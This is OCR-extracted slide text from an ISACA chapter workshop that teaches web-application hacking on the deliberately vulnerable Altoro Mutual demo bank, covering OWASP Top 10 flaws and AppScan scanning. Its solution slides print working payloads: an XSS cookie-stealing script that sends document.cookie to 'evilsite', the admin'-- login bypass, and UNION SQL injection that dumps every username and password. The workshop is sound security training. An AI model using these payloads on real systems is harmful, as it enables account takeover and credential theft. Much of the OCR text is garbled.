m ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS
PERSOMNAL - - -

P N, Online Banking Login

+ Checking

* Loan Products

¢ Cards Usarname: Jismith

* Investments &

rnre T

G- b @ D L] Mt teetfn

AltoroMutual »

[ ] G-

Sign O | Cenbast Ua | Fasdbach | Swarch

1§ 2

Lhanna ucar's

& MY ACCOUNT SMALL BUSINESS I INSIDE ALTORO MUTUAL
IWANTTO ... - -
» Visy Edit User Information
Aealicatian
Malugs
« Edit Ussrs Add an account to an existing user.
Usmrs: Account Typus:
100118014 jsmith | | Savings Add Account |

—

o

San Francizco Chapler
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Failure to Restrict URL Access:

Privilege Escalation Types
* Access given to completely restricted resources

— Accessing files that shouldn’t be served (*.bak, “Copy
Of”, *.inc, *.cs, ws_ftp.log, etc.)

* Vertical Privilege Escalation

— Unknown user accessing pages past login page

— Simple user accessing admin pages

* Horizontal Privilege Escalation

— User accessing other user’s pages

— Example: Bank account user accessing another’s

L.
CONVERGERERGE
Tt

TISACA

San Francizco Chapler

The OWASP Top 10 Application Attacks

Application Threat

Cross Site scripting

Negative Impact

Identity Theft, Sensitive Information
Leakage, ...

Example Impact

Hackers can impersonate legitimate users, and control
their accounts.

Injection Flaws

Attacker can manipulate queries to the DB /
LDAP / Other system

Hackers can access backend database information, alter
it or steal it.

Malicious File Execution

Execute shell commands on server, up to
full control

Site modified to transfer all interactions to the hacker.

Insecure Direct Object
Reference

Attacker can access sensitive files and
resources

Web application returns contents of sensitive file (instead
of harmless one)

Cross-Site Request Forgery

Attacker can invoke “blind” actions on web
applications, impersonating as a trusted
user

Blind requests to bank account transfer money to hacker

Information Leakage and
Improper Error Handling

Attackers can gain detailed system
information

Malicious system reconnaissance may assist in
developing further attacks

Broken Authentication & Session
Management

Session tokens not guarded or invalidated
properly

Hacker can “force” session token on victim; session
tokens can be stolen after logout

Insecure Cryptographic Storage

Weak encryption techniques may lead to
broken encryption

Confidential information (SSN, Credit Cards) can be
decrypted by malicious users

Insecure Communications

Sensitive info sent unencrypted over
insecure channel

Unencrypted credentials “sniffed” and used by hacker to
impersonate user

Failure to Restrict URL Access

Hacker can access unauthorized resources

Hacker can forcefully browse and access a page past the

CoNEED e

—1SACA

San Francizco Chapler
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Module 3: Workshop Exercises

mﬁ_‘ej@f@__iﬁ —1ISACA

San Francizco Chapler

Objective
Hacking 101:
e Understand reconnaissance and profiling

1. Hands-on: Find vulnerabilities and exploit
a) Failure to restrict URL access and information leakage
b) Cross site scripting (XSS)
c) SQL Injection
d) Advanced SQL Injection

2. Understand the difference between a vulnerability
and an exploit

CoNEED e —HSACA

San Francizco Chapler
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Profiling a web application

[ Aitars sutuak: Online Banking Login - Mozitia Firofox ==l
[le [ Wew Hgtory Dockmarks ook Melp
@ - - 70 | 2 hotpinocainost storbank togn. asm | ] [IGI-
(] wirkows || 055 Prey - Sessior | || Hackie Bank || altoen Mutual 53] Adobe Correct Enter...
Stan In | Gontactus | Faadback | Search [r—m
AltoroMutual » ¥ DEMO |
L AP STTE
P ONLY |
& ONLINE DANKING LOGIN RLASONAL | searsnusiness ) | asisioe avomo sumiAL
EERSOMAL - . -
= T Online Banking Login
e bl
* Loan Products
- Cards Hum
[—

* Qther Sarvices
SMALL USINESS

* Canla

* Losuranca

* Baurameny

= Other Sarvices
IHEIDE ALTORS MUTUAL

. Abaut iy

+ Contack

- Lscatisnd
* lousstnr Aalatisny
= Brass Moo

ot | @ 2007 Altars Mutial, [ne

. mithar menrnis oeiemolied, ¥Watchiis does ot asseme any sk in ealation ta your use of this webuite. Far addiional Tarms of %

San Francizco Chapler

Reconnaissance and Profiling

* Platform * Application

— Technologies — Authentication

— Application servers — Authorization

— Web servers — Web based administration
— Web server authentication — User contributed content
— Database usage — Client side validation

— Database type — Password creation

— Third-party components — Session state

— Error handling
— Application logic

CONERGED ~ISACA

— e San Francizco Chapler
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How much did you find?

e Platform e Application
— .NET, JavaScript — Form based authentication
— IS 5.0+ — User based authorization
— Anonymous web server — Yes = /Admin

authentication — No social contribution areas

— Database in use — No password reset
— MSSQL? Access? — Cookies (several)
— User management — Custom error pages

connections? .
— CGl execution

mﬁ_‘@@@a —1ISACA

San Francizco Chapler

Task 1: Access the Administration section

e Step 1: Forceful browse to administration section
— Does it exist?
— The URL for the banking application is: http://demo.testfire.net/bank
¢ What might the administrative application be?
— Isthere a default page?
— What might you name a login page?
¢ What was it for the banking application?
— http://demo.testfire.net/bank/login.aspx

e Step 2: Ask some questions about the login page?
— Is there a username associated with the password?
— Is the password static?
— What might | use for a password?
— Where might I look for a password?

e Step 3: Exploit

B TISACA
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IE HTTP 403 Forbidden - Windows Internet Explorer (= X

@\__J v [ htpigydemo.testfie.net/adnin Tl [#2] ] [s000 S
w [gquua Fortieden l 1 & - O O Tooks -

|@ The website declined to show this webpage
HTTP 403

Most likely causes:
+ This website requires you to log in.

What you can try: %
® Go back to the previous page.

@ More information

IAction
Navigate to admin directory

II'We learn ...
Administration Section Exists

IE Altoro Mutual: Administration - Windows Internet Explorer u@@
@\:_/ [l hitpiffdemo testfire. netiadminflogin. zspx o [## | [ ] [s00gee £l

W o [gmturuMUtuahAdmlmslratlun lil 5~ B el e @ | G oo -

~
[% Sign In | Contact Us | Feedback | Search

toroMutual » E@‘ .

& ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

SITE
ONLY

DERSONAL - - - -
Deposit Broduct Administration Login
Checking

Loan Products

Cards

Investments & Insurance
Other Services

Enter the code shown above:
SMALL BUSINESS

Deposit Products

Lending Services
Enter the administrative password:
Cards.

Insurance

ment
Other Services
INSIDE ALTORO MUTUAL

About Us
Contact Us

Locations

Investor Relations

prass Room Action
- Navigate to login.aspx page N

Privacy Policy | Security Statement | © 2007 Alters Mutual, Inc.

The Altoro Mutusl website is published by Watchfire, Inc. for the sole purpose of demonstrating

wulnersbili

ies and website defects. This site is not a real banking site. Similarities, i any, to thi ” We |earn

provided "as is" vithout varranty of any kind, sither express or implied. Watchfire does not assul

et . A v e s Common naming practices

Copyright ® 2007, Watchfire Corporation, All rights reserved

v
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@ UltraEdit-32 - [C:\D: and Settings\d: \Local Settings\Temporary Internet Files\Content.IE5\Z73U1LKE\login[1]] [;]li@
@ Fle Edt Search Frojert View Fomat Coumn Macro Advanced Window Help B
= o= = | = g . i =] PR g
DESHIS3E B3 &[B|@| b0 (e [ HAhatsd|EO0R @ P8
| login(1] |
v 30 20 30 80 50 B0 PO B8 B0 00, 230, 10T
70 </ful> L
7L </ td>
72 <td valign="top" colspan="3" class="bh">
73
74
75 <hl>idministration Login</hl>
76
77 < !-- Password: Altorol23d --»
78
7% <form name="aspnetForm” method="post” action="login.aspx” id="aspnetForm":>
80 <input type="hidden" nawe="__ VIEWSTATE" id="_ VIEWSTATE" value="/wEPDWUKMTYSCDYzNikINWRE" />
3
82  <img id="captcha" sro="captcha.aspx” fe<br />
83 <p>
X <strong>Enter the code shown above:</strong><br />
g5 <input nawe="_ctl:_ctlO:Content:Main:CodeNunberTextBox" type="text” id="_ctll_ ctl0_Content_Main_CodsNumberTextBox" /
8E <strong>Enter the administrative password:</strong=<br />
a7 <input neme="_ctld:_ctl0:Content:Main:Passvord” cype="password" id="_ctlO_ ctl0_Content_Nain Password" /><hr /><br />
88 <input type="submit” name="_ctl0: ctl0:Content:Main:SubmicButton” value="Submit” id=" ctl0  ctld Content Main SubmitBu
83 </p> L
90 <pr<span id="_gtl0_ ctld_Content _MNain Messagelabel"s</spanr</pr
a1
9z <input type="hidden" nawe="_ EVENTVALIDATION" id="_ EVENTVALIDATICN" walue="/wEWBALKw/PqICuKaqvErBOKWUPESCyLT3pWUBL==" /></]
83
94 <script> I
%8 window.onload = document.forms[1].elements[1].focusi);
96 </script>
a7
£ 11 i
EE] </ ed> - 'ACtlon
100 <ftre i
e P View page source
102
103
] </l I We learn ...
105
106 <div id="footer” style="width: 99%:"> The PASSWORD l
v
<l I ] [*]
For Help, press F1 Lni, Cal. 1, 20 DOS Mod: 2/15/2007 ;33:094M  File Size: 7850 M5

Solution — Forceful browsing

* Navigate to http://demo.testfire.net
* Try http://demo.testfire.net/administration

— Fails
* Try http://demo.testfire.net/admin

— Success

— No default page
* Try http://demo.testfire.net/admin/logon.aspx

— Failure
* Try http://demo.testfire.net/admin/login.aspx
B~ TACH
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Solution — Information Leakage

The administration section uses a single password

Try to guess the password

— Password, password, password1, Password1
— Admin, admin, Admin1, adminl

— Altoro, Altoro, Altoro1l, altorol

View the page source

Search for comments
— Success

GON?_'E,E@:@;EE —1ISACA

San Francizco Chapler

Task 2: Steal the user cookie

* Step 1: Determine the best attack method
— How do | force the client to run my commands?
— What scripting language are almost all browsers able to execute?

* Step 2: Find the application vulnerability
— Where might | be able to include content within an application?
— What does the payload look like?
— How do | access the client cookie?

* Step 3: Exploit
— Discussion Topic
* How do | send this cookie from the victim to the attacker?

CoNEED e —HSACA
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Ir_é Altoro Mutual: Search Results - Windows Internet Explorer

@‘- =[] Mtpidemo estfire. netfsearch, asp7bdtSearchmsuper-+Bowd Tse] [¥#] [ [so0ce

-

* o [gmtum Mtual: Search Results liw B v

Sian In | Contact Us | Feadback | Search |Super Bowl |%

AltoroMutual ﬂ@ i

B ONLINE BANKING LOGIN | SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSONAL
R Search Results
Checking
Loan Products
Cards

Ho results vere found for the quary:

Investments & Insurance Super Bowd
Othar Servicas

SMALL BUSINESS

® Deposit Broducts
Lending Services
Cards

Insurance
Retirement
Other Services.

INSIDE ALTORO MUTUAL
About Us

Contact Us.
Locations

Investor Relstions

sz oo I1Action
Enter search text =

Privacy Policy | Security Statsment | @& 2007 Altere Mutual, Inc.

The Altore Mutusl website is published by Watchfire, Inc. for the sole purpose of demanstrating
vulnerabilities and website defects. This site is not = real banking site. Similarities, if any, to thif 11 /@ learn ...
provided "as is" vithout varranty of any kind, either axpress or implisd. Watchfire doss not assul

of Use, plasse go to hitp//evsnstchire.com/state mants/terms, o, Content is echoed back to page

Copyright ® 2007, Watchfire Corporation, All rights reserved.

I@ Altoro Mutual: Search Results - Windows Internet Explorer u@@
@‘Cz - \g http:{demo testfire.netfsearch, aspxPtxtSearch="%3Cscript%3Ealer %281 % 20%3C % 2Fscript % 3E M *2|| % | |Googk P
W [gmtum Futual: Search Results l } P - BB e e @ G Toos -

Sign In | Contact Us | Feedback | Search |<script=alert(1)</scrif

AltoroMutual E@ i

& ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSONAL
e sy Search Results
Checking
Loan Products
Cards

Ho results vere found for the quary:

Investments & Insurance

Other Services.

SMALL EUSINESS
Deposit Products dows Internet Explorer
Lending Services
Cards

Insurance

Eetirement

Other Services.

INSIDE ALTORO MUTUAL
About Us
Contact Us

Locations

Investor Relations

e IlAction
Careers . .
Enter javascript command B

Privacy Policy | Security Statement | © 2007 Alters Mutual, Inc.

The Altore Mutuzl website is published by Watchfire, Inc. for the sole purposs of demanstrating | || We |
ies and website defects. This site is not a real banking site. Similarities, if any, to thid == e learn

provided "as is" vithout varranty of any kind, sither express or implied. Watchfire does not assul

e e o B T e e o ey Output is not encoded

wulnerabi

Copyright ® 2007, Watchfire Corporation, Al rights reserved




IE Altoro Mutual: Search Results - Windows Internet Explorer u@g

@\_ 3~ [ ] Fetpiidemo.testfire.retsearch. aspxotetSearch=%3Cscript v alrte28document, cookis%:25%3C %2Fscripte3E. [#][#2][] [s000= -

* & [@mtom Mutual; Search Resuits I | - @ ook -

~

Sian In | Contact Us | Feedback | Search |<seript>alert(documen] @
' B DEMO
AltoroMutual » ﬂ@‘ YRR
=i ONLY

@ ONLINE BANKING LOGIN | SMALL | INSIDE ALTORO MUTUAL

PERSONAL
e R Search Results
Cheacking

Loan Products

Cards

Investments & Insurance
Other Services

Ho results were found for the query:

SMALL BUSINESS
& Deposit Products Windows Internet Explorer m
Lending Services

T! ambserInfo=UssrName=YWRtat4nl SD=&Password=Jy0t&Approved=D; amSessionld=2163616417
.

Retirement

“ s 0.
|5
@
£
Jat
£}
A
I

Other Services

INSIDE ALTORO MUTUAL

About Us
Contact Us
Locations

Investor Relstions

Press Room IAction
- Enter JS command with cookie =

Privacy Policy | Security Statement | © 2007 Altero Mutual, Inc.

! The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating 11 \We |
| vulnerabilities and website defscts. This site is not a real banking site. Similarities, if any, te thi] - = e learn ...

| provided "as is" vithout warranty of any kind, either exprass or implisd. Watchfire does not assuf

e e e The cookie is available

| Copyright ® 2007, Watchfire Corporation, All rights reserved.

Solution — Cross site scripting (XSS)

Navigate to http://demo.testfire.net

Search for any query term
— Output is reflected to the page

e Query: <script>alert(1)</script>
— Outputis not encoded

e Query: <script>alert(document.cookie)</script>
— Cookie is available and can be stolen

How would | exploit this?

— Social engineering - send URL of search query to victim

— <script>document.write('<img src=http://evilsite/'+document.cookie);</script>

San Francizco Chapler




error?

* Step 3: Exploit
cow?_?i@"g_&f

Task 3: Login without credentials

* Step 1: Find the login page
— Can you create an account?
— Can you determine a valid username?
e Step 2: Can you cause an error?
— What information do you learn when you cause an

— What database is this using?
— What are techniques that you might use?
— What characters terminate a SQL statement?

—ISACA

San Francizco Chapler

[E

@‘.‘ o = i) hitprffdemo testfive. netfbanklogin.aspic

| [*2][ % P~

6 4| @ Abore Mutsal: Onine Banking Login

AltoroMutual »

Sign In | Contact Us | Feadback | Search

& ONLINE BANKING LOGIN PERSONAL

SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSONAL

#® Checking
® Loan Products
® Cards

® Investments & Insurance
# Other Services

Password:

SMALL BUSINESS

® Deposit Products
® Lending Services
.

INSIDE ALTORO MUTUAL
e AboutUs
® Contact Us
® Locations
® Investor Relstions
® Press Room
® Careers

donald

o B Online Banking Login

Windows Internet Explorer ﬁ %

(] You must enter a valid password
LY

IlAction
Username, no password u

| Copyright ® 2007, Watchfire Corporstion.

] ' We learn ...
=rer== Uses client-side JS validation
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IE Altoro Mutual: Online Banking Login - Windows Internet Explorer

I Fttpijdemo testfirs.netjbankylogin.aspx T [¥2] [] [s000e

W & [@mtommmahommaaankingmgin I | i -

EIQFI n | Contact Us | Feedback | Search

toroMutual »

@ ONLINE BANKING LOGIN | SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSONAL - - -
- Online Banking Login
Cheacking

Loan Products

Cards Login Failed - Please Try Again.

Investments & Insurance

u :
Other Services EEmEmE donald

SMALL BUSINESS Password: |
® Deposit Broducts

Lending Services
Cards.

Insursnce
Retirement

Other Services

INSIDE ALTORO MUTUAL
About Us

Contact Us
Locations
Investor Relstions
Press Room

Carsers

IAction
Enter your name into the username
The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonst and a Single t|Ck into the password

vulnerabilities and website defects. This site is not a real banking site. Similarities, if any,

provided "as is” vithout varranty of any kind, sither exprass or implied. Watchfire does n a o

Privacy Policy | Security Statement | ® 2007 Altore Mutual, Inc.

of Use, please go to httpu//! tchfire.com/statements/terms.ssox.

Copyright ® 2007, Watchfire Corporation, All rights reserved.

I@ Altoro Mutual: Server Error - Windows Internet Explorer [;]@JE
IS

W [gmtum Mtual; Server Errar lil - B e e @ | G ook -

toroMutual »

An Error Has Occurred

i8] hitpiffdemo testfive. netfbanklogin.aspoc el [## ][] [s00ge Pl

~

Sign In | Contact Us | Feedback | Search

Summary:
Syntax error in string in query expression 'username = 'donald’ and p%nrd ==

Error Message:

iﬁv‘:d‘n—n

FrSystammote AT

T, et
FReitey geE
Sl il s

I We can guess that

SQLQuery = “SELECT Username FROM Users WHERE Username =
-------------- 7 & strUsername & “’ AND Password = *” & strPassword & “’”

The Altora Muf

vulnersbilities

provided "as is' vithout varranty of any kind, sither express or implied. Watchfire does not assume any risk in relstion to your use of this website. For additional Terms
of Use, pleass go to htto i/ tehfire.com/stataments/terms.3spx.
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5 Altoro Mutual: Online Banking Login - Mozilla Firefox

Fle Edt View Hstory Bookmarks Tools Hslp

)

& - @ 2% [0 retpuiiocahostfalorofbankfogin.aspx

[x[&] @]

o)

(] windows [} 255 Proscy - Sessions ‘ [} Heckme Bank || Altore Mutusl 4] Adobe Connect Enter. .

AltoroMutual »

Sign In | Contact Us | Feedback | Search

15| 770

@ ONLINE BANKING LOGIN PERSONAL ‘ SMALL BUSINESS

‘ INSIDE ALTORO MUTUAL

PERSONAL

Chacking

Cards
Investments & Insurance

Other Services Username:  |dan’-

SMALL BUSTHESS Passward:
Deposit Products
Lending Seruices
Cards

Insurance

R
Other Seruicas

rent

o (e A Online Banking Login

Loan Products Login Failed - Invalid Username

INSIDE ALTORO MUTUAL I1Action

About Us
Locations

Press Room

wulnerabilities and website defects. This site is not a real banking

u please oo to hito: atchfirs m/statementsiterms,aso.

Carsrs I We learn ...
Privacy Policy | Security Staternent | @ 2007 Altora Mutual, Inc Doub|e hyphen iS used fOr a Comment, the reSult

Contect Us Enter your name, a tick, double hyphen and
Investor Relations whatever password you want

The Aiora Mubual usbaits i published by wathire, e, far s o 1S tAL €VETY thing after the double hyphen is
brodad s - nout vamanty o any ind, sinar axprars o] NOW treaited as a comment

>

Dione

e

O] Inbex: - Micrasaft Out... ﬂ [ Cr\Documents and Se... ’[ (@] Microsoft PowerPaint ...

Autual: Online ..

@O zzarm

IE Altoro Mutual: Online Banking Login - Windows Internet Explorer

@\_ 5 =[] Ptipsfydemo testive. netfbenkfiogn.asm: ot [#2] [ ] [s00gle £l
w @ [gmtum Mutual: Orline Banking Login l } 5 - 123 Taols =

ItoroMutual »

Sign In | Contact Us | Feedback | Search

| 278

& ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS

INSIDE ALTORO MUTUAL

PERSONAL

Checking
Loan Products

SMALL BUSINESS Password:

Deposit Products

Cards
Insurance

Eetirement

Other Services.

INSIDE ALTORO MUTUAL
About Us
& Contact Us

e sy Online Banking Login

f— Login Failed - Please Try Again.

Investments & Insurance . pamn ]
e — sername: admin'--

IAction

]

= Il We learn ...
Valid SQL statement = login

Enter admin'-- and any password you want

SELECT Username FROM Users WHERE Username = ‘jsmith’ AND Password = ‘demo1234’
SELECT Username FROM Users WHERE Username = ‘admin’ OR 1=1 --> AND Password = ‘1’

~

! Copyright ® 2007, Watchfire Corporstion, All rights reserved




Solution — Profile the login page

e Navigate to http://demo.testfire.net/bank/login.aspx

* Enter sample username without password
— Usage of client-side JavaScript

e Enter sample username with password
— No credential enumeration

* Enter sample username with single tick (') as password
— SQL injection vulnerability
— Verbose error messages
— Column names of username and password

conEREE e —HSACA

San Francizco Chapler

Solution —SQL Injection

* Enter sample username with password of '--
— Double hyphen terminates a SQL statement

e Enter probable username (admin) with special
characters appended '--
— Successful exploitation of SQL injection

mﬁ_‘aﬁ@:@;&f —HSACA

San Francizco Chapler
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Task 4: Steal all the usernames and
passwords

e Step 1: Find a page that lists information
— What page lists information?
— Does the page accept user input in any way?
— Think about how this information is pulled from the database?

e Step 2: Find the vulnerability
— How do | manipulate the input to find a vulnerability?
— What steps should | try to “break the system”

* Step 3: Exploit

— What steps are required to make this happen?

m." ENERGE SACA
WERGERG TISACA
1 San Francisco Chapter
I@ Altoro Mutual: Online Banking Home - Windows Internet Explorer [;][ilg
@‘\ 3+ [l retpiiidemo.testfie.netfsankiman.aspx v [#+][ % ol
W 0| @ altoro Mutual Online Banking Home I o~ e e @ (G ook -
Sign OFf | Contact Us | Feedback | Search
ﬁ@ iy
- LT
& MY ACCOUNT PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL
L WANTTO ... A
> P Hello, Admin User
® View Recent Transactigns
® Transfer Funds Welcome to Altoro Mutual Online.
® Search Neve Articles
.

Customize Sits Lsngusge oy W -
ADMINISTRATION

® View Application Values
® Edit Usars

| The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
| vulnersbilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/er websites are purely coincidental. This site is
| provided "as is" vithout varranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms

| of Use, please go to hitp:// tchfire.com/statements/terms.aspx.

| Copyright ® 2007, Watchfire Corporation, Al rights reserved.

IlAction
Start in current session

' We learn ...
The admin has no bank accounts
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IE Altoro Mutual: Recent Transactions - Windows Internet Explorer

= . : =
@\7} I Fttpidemo testfire.netjbarktransaction, asps ] [¥2] ] [s000e

w R [@Ntanutual:RacantTrar\sactinr\s I } i -

Sign OFf | Contact Us | Feedback | Search

AltoroMutual ﬂ@ I

& MY AcCOUNT | SMALL BUSINESS | INSIDE ALTORO MUTUAL

ONLY

IWANTTO ...

® View Account Summary
View Recant Transactions

.
e after  [12/12/2010] Befare
o Sezrch Hevs Artides —— 5 I
: 2

Customize Site Language

Recent Transactions

TransactionID Accountld Description Amount
ADMINISTRATION a
® View Application Values.
® Edit Users.
Privacy Policy | Security Statement | ® 2007 Altoro Mutual, Inc.

The Altoro Mutuzl websits is published by Watchfire, Inc. for the sole purpose of demonstrating the effectivensss of Watchfire products in detecting web 2pplication
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party praducts and/or websites are purely coincidental. This site is
provided "as is" vithout varranty of any kind, either sxpress or implied. Watchfire does not assume any risk in relstion to your use of this wabsite. For additional Terms
of Use, please go to httpi//wwr.vatchfire.com/ statements/terms.aspx.

Copyright ® 2007, Watchfire Corporation, All rights reserved.

I1Action
Enter some date in the future

II'We learn ...
No user activity

I@ Altoro Mutual: Server Error - Windows Internet Explorer u@@

= [l hitpsffdemo.testfire.netfbanktransaction, aspic el [## ][] [s00ge Pl
W [gmtum Mtual; Server Errar l } 5~ B e e @ | G oo -
~

Sign OFf | Contact Us | Feedback | Search

AltoroMutual E@: l

An Error Has Occurred

Summary:

Syntax error in string in query expression '1=1 and t.trans_date >= " and a.userid = 100416016".

ks

Error Messag:

System.Data.OleDb.0leDbExcaption: Syntax error in string in query expression '1=1 and t.trans_date >= ' and a.userid = 100416016, at
System.Data.OleDb.OleDbCommand. ExecuteCommandTs l=Result(tagDl dbParams, Objects axecuteResult) at
System.Data.0leDb.0OleDbCommand.ExecuteCommandText(Objectt executeResult] at System.Data.OleDb.0leDbCommand.ExecuteCommand(CommandBehavior
behavior, Objects. executsResult) at System.Dats.OleDb.OleDbCommand. ExecuteReaderlnternal(CommandBehavior behavior, String method) at
System.Data.0leDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at

Systsm.Dats.OleDb.OleDbCommand. System.Data.IDbCommand. ExecuteR.eader(Comi behavior) at System.Dats.Common.DbDataAdapter.Filllnternal
(DEtESEt dataset, DataTEh\E[J datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior hzhavmrj at

System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, [DbCommand command, CommandBehavior
behavior) at System.Data.Common.DbD: dapter.Fill[DataSet dataSet, String srcTable) at
\website\bank\transaction.aspx.csiline 70 at Altoro. Transaction.Page_Load(Object sender, Ev] | IACtlon
\website\bank\transaction.aspx.cs:line 32 at System.Web.Util.CalliHelper.EventargFunctionCg ©
System.Web.Util.CalliEventHandlerDelegateProxy. Callback(Object sender, EventArgs e) at 5 H 1 H 1

System.Web.UI. Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boole: Slngle tICk in form fleld
includeStagesAfterAsyncPoint)

Privacy Policy | Security Statsment | @& 2007 Altere Mutual, Inc. ” We |eam

| The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating Vulnerable to SQL InJECtIOH
| vulnerabilitiss and websits defacts. This site is not  real banking site. Similarities, if 2ny, to thi Column named userid

provided "as is" vithout varranty of any kind, sither express or implied. Watchfire does not assuj

of Use, please go to httpi//wew.vatchfire.com/statements/terms.aspx.




=) - i | 4. =
@/ I Fttpidemo testfire.netjbarktransaction, asps Tl [#2] [] [s000e )

-

w4 [@mmmmmahSewarErmr I_} -

CF @l g | G Tooks -

IE Altoro Mutual: Server Error - Windows Internet Explorer u@@

Siqn OFF | Contact Us | Feedback | Search

AltoroMutual g

ONLY

An Error Has Occurred

Summary: Q
The number of columns in the two selected tables or queries of a union query do not match.

Error Message:

System.Data.OleDb.OleDbExcaption: The number of columns in the two selected tables or queries of a union query do not match. at
System.Data.OleDb.OleDbCommand. ExecuteCommandTextForSingleResult{tagDBPARAMS dbParams, Object® executeResult) at
System.Data.OleDb.OleDbCommand. ExecuteCommandText(Objects exscut=Result] at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavier
behavior, Objecth executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal{CommandBehavior behavior, String method) at
System.Data.OleDb.OleDbCommand. Execut=Reader(Comm h behavier) at

System.Data.OleDb.OleDbCommand. System.Data.IDbCommand.ExecuteReader{ CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Filllnternal
(DataSet dstaset, DataTable[] datstables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at

System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 m ds, String srcTable, [DbCommand comm: , Comrr h
behavior) at System.Data.Common.DbDataAdapter.Fill[DataSet datasi .
\website\bank\transaction.aspx.cs:line 70 at Altoro.Transaction.Page._| ITAction
‘\website\bank\transaction.aspx. ne 32 at System.Web.Util.CalliHel
System.Web. Ut CallEvantsiandlardel r-calbackioneet send ENTET USErN@me and password

System.Web.UI.Control.LoadRecursive() at System.Web.UT.Page Proc

indludsStagesAftarasyncRoint) 1/1/2010 union select 1 from users--

Privacy Poll | Security Statement | ® 2007 Altoro Mutual, Inc.

Il We learn ... b
The Altoro Mutusl websits is publishsd by Watchfirs, Inc. for the sols purd : .
vulnerabilties and websits defacts. This site i not = resl banlang <1s, s RECQUIFES four columns in query

provided "as is" vithout varranty of any kind, sither express or implied.

of Use, please go to hitp:// tchfire.com/statements/terms.asp.
[w
IE Altoro Mutual: Recent Transactions - Windows Internet Explorer u@@
3~ [E nupidens tesive.netiberkiransacton s ] (%2 [] [5osge e
w g [@Nturu Mutual: Recent Transactions l } v R el el @ Tk -

AltoroMutual

B MY ACCOUNT PERSONAL | SMALL BUSINESS INSIDE ALTORO MUTUAL
IWANTTO ... -

5 (TS Recent Transactions

® View Recent Transactions

® Tmmnsfer Funcs After  [12/12/2010 union sele] ~ Before %

® Search News Articles

® Customize Site Lengusge o

TransactionID Accountld Description Amount

ADMINISTRATION 1 1 1 1

® View Application Values

o Edit Users 2

Privacy Policy | Security Statement | & 2007 Altoro Mutual. Inc.

The Altoro Mutusl website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defacts. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" vithout varranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms

of Use, please go to httpi//! tchfire.com/statements/terms.asp,

Copyright ® 2007, Watchfire Corporation, All rights reserved. | 'ACtIOI"I
Enter four columns in query
1/1/2010 union select 1,1,1,1 from users--

' We learn
SQL injection succeeds
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@:-v 2] bttp:/ . akoromutul com/bank Aransaction.aspx 811 4 x| v searen ol

Fle Edt Miew Favoites Tools Hep

9 @ (@ Mo Mutual Recent Transactions | | i = B - 0= + > Page + (G} Took +

Siqn OFF | Contact Us | Feedback | Search

AltoroMutual » g@ sm;

B MY ACCOUNT PERSONAL | SMALL BUSINESS ‘ INSIDE ALTORO MUTUAL

Recent Transactions

o
. Vi actions
» Tra un

After  [1/1/2010 union select |  Before Submit
® Search Wews Articles & _I
® Customize Site Language . .

TransactionID Accountld Amount

1

2

100118013

100116014

100116015

100116018

IlAction e -

Enter valid SQL command. We already know 3 columns (userid,
username, password) and a table in the database!!!

1/1/2010 union select userid,null,'username: '+username+ '
password:'+password,null from users—

e II' We learn ...
W“.E@%.Ef All the usernames and passwords

Solution — Find the vulnerability

* Use technique from the last task to login

* Find a page that lists information from the DB
— http://demo.testfire.net/bank/transactions.aspx

* Enter a single tick (') in the first form field
— Vulnerable to SQL injection
— Verbose error messages

— Column named userid (we already know about
username and password)

i —HSAcA

S.In Frln:lln ﬂupw
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Solution — Complex SQL Injection

e Query: 1/1/2010 union select 1 from users--
— Error message about matching columns

— Learn that table users exists

e Query: 1/1/2010 union select 1,1,1,1 from users--
— Successful in executing query

* We already know 3 columns (userid, username, password)
and a table in the database

e Query: 1/1/2010 union select userid,null,username+'
“+password,null from users--
— Successful exploitation

mﬁ_‘aj@i_&a —1ISACA

San Francizco Chapler

Questions

1. Understand reconnaissance and profiling

2. Hands-on: Find vulnerabilities and exploit
a) Forceful browsing and information leakage
b) Cross site scripting (XSS)
¢) SQL Injection
d) Advanced SQL Injection

3. Understand the difference between a vulnerability
and an exploit

mﬁ_‘@@@a —HSACA

San Francizco Chapler
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Module 4: Automated Techniques

mﬁ_‘ej@i&a —HSACA

San Francizes Chapler

Objective

1. Understand how automation can help
uncover vulnerabilities

2. Demonstration of automated vulnerability
assessment

3. Understand the limitations of vulnerability
assessment

CoNEED e —HSACA

San Francizes Chapler




Welcome to AppScan

* Double click on IBM Rational’s AppScan

* Choose Open

‘ln- = -
O

Welcome /420 ?
i |
%;ii_g b' Welcome to AppScan
[T reste New Scan...
|  AppScan’s Knowledge On-Demand
Recent Scans

@] DemoTestrire
@] AltoroMutual

i demo.testfirenet

-

L7

Download Extensions

Quick Start Guide

I¥| Display this screen when AppScan launches

San Francizco Chapler

Pick a Template

* Choose Default under Predefined Templates

I

New Scan

Recent Templates

};] Default

i;] demo.testfire.ngt

